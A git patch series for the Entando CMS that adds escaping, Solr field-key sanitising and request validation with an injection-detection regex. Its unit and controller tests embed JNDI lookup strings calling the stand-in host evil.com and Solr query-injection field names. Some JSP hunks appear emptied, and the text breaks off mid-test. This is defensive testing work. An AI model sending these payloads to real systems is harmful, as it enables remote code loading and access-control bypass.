diff --git a/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/hypertextAttribute.jsp b/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/hypertextAttribute.jsp index 394fe9f80..549bcd362 100644 --- a/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/hypertextAttribute.jsp +++ b/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/hypertextAttribute.jsp @@ -1,2 +1,2 @@ <%@ taglib prefix="s" uri="/struts-tags" %> - \ No newline at end of file + \ No newline at end of file diff --git a/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/longtextAttribute.jsp b/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/longtextAttribute.jsp index ee76188e5..e6617303a 100644 --- a/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/longtextAttribute.jsp +++ b/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/longtextAttribute.jsp @@ -1,2 +1,2 @@ <%@ taglib prefix="s" uri="/struts-tags" %> - \ No newline at end of file + \ No newline at end of file diff --git a/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/textAttribute.jsp b/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/textAttribute.jsp index ee76188e5..e6617303a 100644 --- a/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/textAttribute.jsp +++ b/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/textAttribute.jsp @@ -1,2 +1,2 @@ <%@ taglib prefix="s" uri="/struts-tags" %> - \ No newline at end of file + \ No newline at end of file diff --git a/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/contentDetails.jsp b/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/contentDetails.jsp index 4a6679397..ba3692bf1 100644 --- a/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/contentDetails.jsp +++ b/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/contentDetails.jsp @@ -328,7 +328,7 @@
- +
diff --git a/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/view/imageAttribute.jsp b/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/view/imageAttribute.jsp index 8066909fd..fd303a5a1 100644 --- a/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/view/imageAttribute.jsp +++ b/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/view/imageAttribute.jsp @@ -9,7 +9,7 @@ " - alt="" /> + alt="" escapeHtml="true" /> "> @@ -27,7 +27,7 @@ - " alt="" /> + " alt="" /> "> : @@ -36,7 +36,7 @@ " - alt="" /> + alt="" /> "> diff --git a/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/view/linkAttribute.jsp b/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/view/linkAttribute.jsp index 15362fb86..a8ba8ce97 100644 --- a/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/view/linkAttribute.jsp +++ b/cms-plugin/src/main/webapp/WEB-INF/plugins/jacms/apsadmin/jsp/content/view/linkAttribute.jsp @@ -42,10 +42,10 @@ <%-- link icon --%> - " class="" title=""> + " class="" title=""> <%-- text of the link --%> - + diff --git a/engine/src/main/java/com/agiletec/aps/system/common/entity/ApsEntityManager.java b/engine/src/main/java/com/agiletec/aps/system/common/entity/ApsEntityManager.java index 82ec4a72a..970cba53f 100644 --- a/engine/src/main/java/com/agiletec/aps/system/common/entity/ApsEntityManager.java +++ b/engine/src/main/java/com/agiletec/aps/system/common/entity/ApsEntityManager.java @@ -255,6 +255,7 @@ public void addEntityPrototype(IApsEntity entityType) throws EntException { if (null == entityType) { throw new EntException("Invalid entity type to add"); } + this.sanitizeEntityTypeLabels(entityType); Map newEntityTypes = this.getEntityTypes(); newEntityTypes.put(entityType.getTypeCode(), entityType); this.updateEntityPrototypes(newEntityTypes); diff --git a/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java b/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java index 507676d7e..974bb480f 100644 --- a/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java +++ b/engine/src/main/java/org/entando/entando/ent/util/LabelSanitizer.java @@ -32,7 +32,12 @@ private LabelSanitizer() { */ public static String stripMarkup(String value) { return (value == null) ? null - : value.replace("<", "").replace(">", "").replace("\"", ""); + : value.replace("<", "") + .replace(">", "") + .replace("\"", "") + .replace("<", "") + .replace(">", "") + .replace(""", ""); } /** From 8e968a0874bac2343daabea345c84b9c8b0f67f5 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Thu, 2 Jul 2026 15:44:11 +0200 Subject: [PATCH 10/17] ESB-1154 refacotred error handling, updated tests --- .../jpsolr/aps/system/solr/SearcherDAO.java | 17 ++++-- .../solr/SearcherDAOSpecialCharsTest.java | 55 ++++++++----------- 2 files changed, 35 insertions(+), 37 deletions(-) diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java index fb5a799ec..c1ff86a40 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java @@ -188,8 +188,10 @@ private void addFilters(SolrQuery solrQuery, SearchEngineFilter[] filters) { solrQuery.addSort("score", ORDER.desc); } else if (null != filter.getOrder()) { String fieldKey = this.getFilterKey(filter); - boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); - solrQuery.addSort(fieldKey, (revert) ? ORDER.desc : ORDER.asc); + if (null != fieldKey) { + boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); + solrQuery.addSort(fieldKey, (revert) ? ORDER.desc : ORDER.asc); + } } } } @@ -334,6 +336,9 @@ protected Query createQueryByFilter(SearchEngineFilter filter) { return null; } String key = this.getFilterKey(filter); + if (null == key) { + return null; + } Object value = filter.getValue(); List allowedValues = filter.getAllowedValues(); Integer relevanceValue = this.getRelevance(filter); @@ -549,8 +554,8 @@ protected Query getTermQueryForTextSearch(String key, String value, boolean isLi protected String getFilterKey(SearchEngineFilter filter) { String key = filter.getKey().replace(":", "_"); if (!VALID_FIELD_KEY.matcher(key).matches()) { - throw new IllegalArgumentException( - "Rejected Solr field key with unsafe characters: '" + key + "'"); + log.warn("Rejected Solr field key with unsafe characters: '{}'", key); + return null; } if (filter.isFullTextSearch()) { return key; @@ -561,8 +566,8 @@ protected String getFilterKey(SearchEngineFilter filter) { : insertedLangCode; String normalizedLang = langCode.toLowerCase(); if (!VALID_FIELD_KEY.matcher(normalizedLang).matches()) { - throw new IllegalArgumentException( - "Rejected Solr lang code with unsafe characters: '" + normalizedLang + "'"); + log.warn("Rejected Solr lang code with unsafe characters: '{}'", normalizedLang); + return null; } key = normalizedLang + "_" + key; } else if (!key.startsWith(SolrFields.SOLR_FIELD_PREFIX)) { diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java index e9ac539c9..031d63793 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java @@ -21,7 +21,6 @@ import org.mockito.Mock; import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; -import static org.junit.jupiter.api.Assertions.assertThrows; /** * Special-character handling tests for SearcherDAO query building. @@ -250,44 +249,39 @@ void exactPhraseMultipleValuesEmitsQuotedOutput_documentingCurrentBehavior() thr // User-controlled field names that contain Lucene/Solr meta-characters // (parentheses, spaces, operators, local-params braces …) corrupt the // query string produced by BooleanQuery.toString() and can break the - // group-based access-control filter. All such inputs must be rejected - // with IllegalArgumentException before any Term object is constructed. + // group-based access-control filter. All such inputs must be dropped + // (logged and skipped) so that the injected field never reaches the + // executed query, which retains only the safe access-control clause. // ------------------------------------------------------------------ @Test - void shouldRejectFieldNameWithParenthesisAndOrOperator() { + void shouldDropFieldNameWithParenthesisAndOrOperator() throws Exception { // Simulates: filters[0].attribute = "foo) OR (*:*" SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("foo) OR (*:*", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectEntityAttrWithInjectedOperator() { + void shouldDropEntityAttrWithInjectedOperator() throws Exception { // Simulates: filters[0].entityAttr = "attr) OR (*:*" (isAttributeFilter = true) SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("attr) OR (*:*", true, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameWithSpaces() { + void shouldDropFieldNameWithSpaces() throws Exception { SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("valid AND malicious", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectLangCodeUsedAsFullTextSearchKey() { + void shouldDropLangCodeUsedAsFullTextSearchKey() throws Exception { // Simulates: lang = "en) OR (*:*" passed as the full-text search field key. // The filter key IS the lang code when fullTextSearch = true. SolrSearchEngineFilter filter = @@ -295,37 +289,31 @@ void shouldRejectLangCodeUsedAsFullTextSearchKey() { TextSearchOption.AT_LEAST_ONE_WORD); filter.setFullTextSearch(true); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectInjectedLangCodePrefixOnAttributeFilter() { + void shouldDropInjectedLangCodePrefixOnAttributeFilter() throws Exception { // Simulates a crafted SolrSearchEngineFilter whose langCode (the prefix // prepended to the field name for attribute filters) contains operators. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("key", true, "value"); filter.setLangCode("en) OR (*:*"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameWithSolrLocalParamsBrace() { + void shouldDropFieldNameWithSolrLocalParamsBrace() throws Exception { // Simulates an attempt to inject Solr local params ({!...}) via field name. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("{!func}log(popularity)", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameInDoubleFilterArray() { + void shouldDropFieldNameInDoubleFilterArray() throws Exception { // Same injection via the searchFacetedContents(SearchEngineFilter[][] …) overload. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("foo) OR (*:*", false, "value"); @@ -333,9 +321,14 @@ void shouldRejectFieldNameInDoubleFilterArray() { SearchEngineFilter[][] doubleFilters = new SearchEngineFilter[][]{{filter}}; - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(doubleFilters, - new SearchEngineFilter[]{}, new ArrayList<>())); + ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); + Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + .thenReturn(mockQueryResponse()); + + searcherDAO.searchFacetedContents(doubleFilters, + new SearchEngineFilter[]{}, new ArrayList<>()); + + Assertions.assertEquals("+(entity_group:free)", queryCaptor.getValue().getQuery()); } // ------------------------------------------------------------------ From c14d0a9bdcf26b35eba60853d4a9e58566244521 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Thu, 2 Jul 2026 17:02:03 +0200 Subject: [PATCH 11/17] ESB-1154 fix tests --- .../jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java index 031d63793..1d66fe078 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java @@ -322,8 +322,9 @@ void shouldDropFieldNameInDoubleFilterArray() throws Exception { new SearchEngineFilter[][]{{filter}}; ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); + QueryResponse queryResponse = mockQueryResponse(); Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) - .thenReturn(mockQueryResponse()); + .thenReturn(queryResponse); searcherDAO.searchFacetedContents(doubleFilters, new SearchEngineFilter[]{}, new ArrayList<>()); From 6d3e8dc633aa70bb861873ad04d878f8026f86e9 Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Tue, 7 Jul 2026 10:48:27 +0200 Subject: [PATCH 12/17] ESB-1154 trimmed log --- .../controller/control/Authenticator.java | 27 +++- .../content/AdvContentFacetManager.java | 106 +++++++++++++- .../content/AdvContentFacetManagerTest.java | 131 ++++++++++++++++++ .../AdvContentSearchControllerTest.java | 60 ++++++++ 4 files changed, 320 insertions(+), 4 deletions(-) diff --git a/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java b/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java index ac90da269..65c97e83a 100644 --- a/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java +++ b/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java @@ -101,12 +101,37 @@ public int service(RequestContext reqCtx, int status) { } retStatus = ControllerManager.CONTINUE; } catch (Throwable t) { - _logger.error("Error, could not fulfill the request", t); + if (isMalformedRequest(t)) { + // The request itself is malformed (e.g. invalid query string encoding): this is a + // client error, not a server fault. Log it concisely, without the full stack trace. + _logger.warn("Could not fulfill the request: malformed request ({})", t.getMessage()); + } else { + _logger.error("Error, could not fulfill the request", t); + } retStatus = ControllerManager.SYS_ERROR; reqCtx.setHTTPError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR); } return retStatus; } + + /** + * Detects whether the given throwable (or any cause in its chain) denotes a malformed client + * request, such as an invalid query string encoding surfaced while accessing request parameters. + * Such conditions are client errors (HTTP 400) and don't warrant a full ERROR stack trace. + * Matching is done by class name to avoid a hard dependency on the servlet container internals. + */ + private static boolean isMalformedRequest(Throwable t) { + for (Throwable cause = t; cause != null; cause = cause.getCause()) { + String className = cause.getClass().getSimpleName(); + if ("BadMessageException".equals(className) || cause instanceof IllegalArgumentException) { + return true; + } + if (cause.getCause() == cause) { + break; + } + } + return false; + } protected IUserManager getUserManager() { return _userManager; diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java index d903ea29c..1644d7962 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java @@ -22,6 +22,7 @@ import com.agiletec.plugins.jacms.aps.system.services.searchengine.ICmsSearchEngineManager; import java.util.ArrayList; import java.util.List; +import java.util.regex.Pattern; import java.util.stream.Collectors; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; @@ -29,9 +30,15 @@ import org.entando.entando.aps.system.services.searchengine.FacetedContentsResult; import org.entando.entando.aps.system.services.searchengine.SearchEngineFilter; import org.entando.entando.ent.exception.EntException; +import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.EntLogging.EntLogger; +import org.entando.entando.web.common.exceptions.ValidationConflictException; +import org.entando.entando.web.common.model.Filter; import org.entando.entando.plugins.jpsolr.aps.system.solr.ISolrSearchEngineManager; import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrFacetedContentsResult; import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrSearchEngineFilter; +import org.entando.entando.plugins.jpsolr.web.content.model.SolrFilter; +import org.springframework.validation.BeanPropertyBindingResult; import org.entando.entando.plugins.jpsolr.conditions.SolrActive; import org.entando.entando.plugins.jpsolr.web.content.model.AdvRestContentListRequest; import org.springframework.beans.factory.annotation.Autowired; @@ -44,6 +51,11 @@ @SolrActive(true) public class AdvContentFacetManager implements IAdvContentFacetManager { + private static final EntLogger logger = EntLogFactory.getSanitizedLogger(AdvContentFacetManager.class); + + private static final Pattern SAFE_IDENTIFIER = Pattern.compile("[a-zA-Z0-9_.:,-]+"); + private static final Pattern INJECTION_PATTERN = Pattern.compile("\\$\\{|%24%7B", Pattern.CASE_INSENSITIVE); + private final ICategoryManager categoryManager; private final ICmsSearchEngineManager searchEngineManager; private final IAuthorizationManager authorizationManager; @@ -101,11 +113,12 @@ protected SearchEngineFilter[] getFilters(SearchEngineFilter[] baseFilters, List @Override public SolrFacetedContentsResult getFacetedContents(AdvRestContentListRequest requestList, UserDetails user) { + this.validateRequest(requestList); SolrFacetedContentsResult facetedResult; try { - String langCode = - (StringUtils.isBlank(requestList.getLang())) ? this.langManager.getDefaultLang().getCode() - : requestList.getLang(); + String langCode = StringUtils.isBlank(requestList.getLang()) + ? this.langManager.getDefaultLang().getCode() + : requestList.getLang(); SolrSearchEngineFilter[] searchFilters = requestList.extractFilters(langCode); SolrSearchEngineFilter[][] doubleFilters = requestList.extractDoubleFilters(langCode); if (null != searchFilters) { @@ -124,6 +137,93 @@ public SolrFacetedContentsResult getFacetedContents(AdvRestContentListRequest re return facetedResult; } + protected void validateRequest(AdvRestContentListRequest requestList) { + BeanPropertyBindingResult bindingResult = + new BeanPropertyBindingResult(requestList, "advContentSearchRequest"); + // lang + if (!StringUtils.isBlank(requestList.getLang())) { + boolean validLang = this.langManager.getLangs().stream() + .anyMatch(l -> l.getCode().equals(requestList.getLang())); + if (!validLang) { + bindingResult.rejectValue("lang", "INVALID_LANG_CODE", + new Object[]{}, "lang.code.invalid"); + } + } + // sort + rejectIfUnsafeIdentifier(requestList.getSort(), "sort", bindingResult); + // direction + rejectIfUnsafeIdentifier(requestList.getDirection(), "direction", bindingResult); + // text + rejectIfInjection(requestList.getText(), "text", bindingResult); + // searchOption + rejectIfUnsafeIdentifier(requestList.getSearchOption(), "searchOption", bindingResult); + // csvCategories + if (null != requestList.getCsvCategories()) { + for (String csv : requestList.getCsvCategories()) { + rejectIfUnsafeIdentifier(csv, "csvCategories", bindingResult); + } + } + // filters + validateFilters(requestList.getFilters(), "filters", bindingResult); + // doubleFilters + if (null != requestList.getDoubleFilters()) { + for (SolrFilter[] innerFilters : requestList.getDoubleFilters()) { + validateFilters(innerFilters, "doubleFilters", bindingResult); + } + } + if (bindingResult.hasErrors()) { + throw new ValidationConflictException(bindingResult); + } + } + + private void validateFilters(Filter[] filters, String fieldPrefix, + BeanPropertyBindingResult bindingResult) { + if (null == filters) { + return; + } + for (Filter filter : filters) { + rejectIfUnsafeIdentifier(filter.getAttribute(), fieldPrefix + ".attribute", bindingResult); + rejectIfUnsafeIdentifier(filter.getEntityAttr(), fieldPrefix + ".entityAttr", bindingResult); + rejectIfUnsafeIdentifier(filter.getOperator(), fieldPrefix + ".operator", bindingResult); + rejectIfUnsafeIdentifier(filter.getOrder(), fieldPrefix + ".order", bindingResult); + rejectIfUnsafeIdentifier(filter.getType(), fieldPrefix + ".type", bindingResult); + rejectIfInjection(filter.getValue(), fieldPrefix + ".value", bindingResult); + if (null != filter.getAllowedValues()) { + for (String av : filter.getAllowedValues()) { + rejectIfInjection(av, fieldPrefix + ".allowedValues", bindingResult); + } + } + if (filter instanceof SolrFilter solrFilter) { + rejectIfUnsafeIdentifier(solrFilter.getSearchOption(), + fieldPrefix + ".searchOption", bindingResult); + } + } + } + + private static void rejectIfUnsafeIdentifier(String value, String field, + BeanPropertyBindingResult bindingResult) { + if (StringUtils.isBlank(value)) { + return; + } + if (!SAFE_IDENTIFIER.matcher(value).matches()) { + logger.warn("Rejected unsafe identifier in field '{}': '{}'", field, value); + bindingResult.rejectValue(null, "INVALID_PARAMETER", + new Object[]{field}, "parameter.invalid"); + } + } + + private static void rejectIfInjection(String value, String field, + BeanPropertyBindingResult bindingResult) { + if (StringUtils.isBlank(value)) { + return; + } + if (INJECTION_PATTERN.matcher(value).find()) { + logger.warn("Rejected injection pattern in field '{}': '{}'", field, value); + bindingResult.rejectValue(null, "INVALID_PARAMETER", + new Object[]{field}, "parameter.invalid"); + } + } + protected List getAllowedGroups(UserDetails currentUser) { List groupCodes = new ArrayList<>(); if (null != currentUser) { diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java index a919d8915..0809ef97b 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java @@ -4,16 +4,28 @@ import static org.mockito.ArgumentMatchers.eq; import static org.mockito.ArgumentMatchers.isNull; +import com.agiletec.aps.system.services.authorization.IAuthorizationManager; import com.agiletec.aps.system.services.category.Category; import com.agiletec.aps.system.services.category.CategoryManager; import com.agiletec.aps.system.services.group.Group; +import com.agiletec.aps.system.services.lang.ILangManager; +import com.agiletec.aps.system.services.lang.Lang; import com.agiletec.plugins.jacms.aps.system.services.content.widget.UserFilterOptionBean; import java.util.List; import org.entando.entando.aps.system.services.searchengine.SearchEngineFilter; +import org.entando.entando.plugins.jpsolr.aps.system.solr.ISolrSearchEngineManager; import org.entando.entando.plugins.jpsolr.aps.system.solr.SolrSearchEngineManager; +import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrFacetedContentsResult; +import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrSearchEngineFilter; +import org.entando.entando.plugins.jpsolr.web.content.model.AdvRestContentListRequest; +import org.entando.entando.plugins.jpsolr.web.content.model.SolrFilter; +import org.entando.entando.web.common.exceptions.ValidationConflictException; +import org.entando.entando.web.common.model.Filter; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.ValueSource; import org.mockito.ArgumentCaptor; import org.mockito.InjectMocks; import org.mockito.Mock; @@ -30,6 +42,10 @@ class AdvContentFacetManagerTest { private CategoryManager categoryManager; @Mock private SolrSearchEngineManager searchEngineManager; + @Mock + private IAuthorizationManager authorizationManager; + @Mock + private ILangManager langManager; @InjectMocks private AdvContentFacetManager facetManager; @@ -81,4 +97,119 @@ void shouldGetFacetResultWithNodeCodesAsFilter() throws Exception { Mockito.verify(searchEngineManager).searchFacetedEntities( any(SearchEngineFilter[].class), eq(nodeCodesFilter), isNull()); } + + @Test + void shouldRejectJndiInjectionInLang() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setLang("${jndi:ldap://evil.com/exploit}"); + Mockito.when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectNonExistentLangCode() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setLang("zzz"); + Mockito.when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldAcceptBlankLangCodeAndUseDefault() throws Exception { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + Mockito.when(langManager.getDefaultLang()).thenReturn(createLang("en")); + Mockito.when(((ISolrSearchEngineManager) searchEngineManager) + .searchFacetedEntities( + any(SolrSearchEngineFilter[][].class), + any(SolrSearchEngineFilter[].class), + any(List.class))) + .thenReturn(new SolrFacetedContentsResult()); + facetManager.getFacetedContents(request, null); + Mockito.verify(langManager, Mockito.never()).getLangs(); + } + + @ParameterizedTest + @ValueSource(strings = { + "${jndi:ldap://evil.com/exploit}", + "${sys:java.version}", + "%24%7Bjndi:ldap://evil.com%7D" + }) + void shouldRejectInjectionInSort(String malicious) { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setSort(malicious); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInCsvCategories() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setCsvCategories(new String[]{"${jndi:ldap://evil.com}"}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInText() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setText("${jndi:ldap://evil.com}"); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterAttribute() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("${jndi:ldap://evil.com}", "someValue", "eq"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterEntityAttr() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter(); + filter.setEntityAttr("${jndi:ldap://evil.com}"); + filter.setOperator("eq"); + filter.setValue("test"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterValue() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("typeCode", "${jndi:ldap://evil.com}", "eq"); + filter.setEntityAttr("typeCode"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInDoubleFilterAttribute() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("${jndi:ldap://evil.com}", "val", "eq"); + request.setDoubleFilters(new SolrFilter[][]{{filter}}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInSearchOption() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setSearchOption("${jndi:ldap://evil.com}"); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + private static Lang createLang(String code) { + Lang lang = new Lang(); + lang.setCode(code); + return lang; + } } diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java index 982ee432c..ff2d996a9 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java @@ -1223,4 +1223,64 @@ void testSearchByOption() throws Exception { super.waitNotifyingThread(); } + @Test + void testFacetedContentsWithInvalidLangReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("lang", "${jndi:ldap://evil.com/exploit}")); + result.andExpect(status().isConflict()); + } + + @Test + void testContentsWithInvalidLangReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/contents") + .param("lang", "${jndi:ldap://evil.com/exploit}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInSortReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("sort", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInFilterAttributeReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].attribute", "${jndi:ldap://evil.com}") + .param("filters[0].operator", "eq") + .param("filters[0].value", "test")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInFilterValueReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + 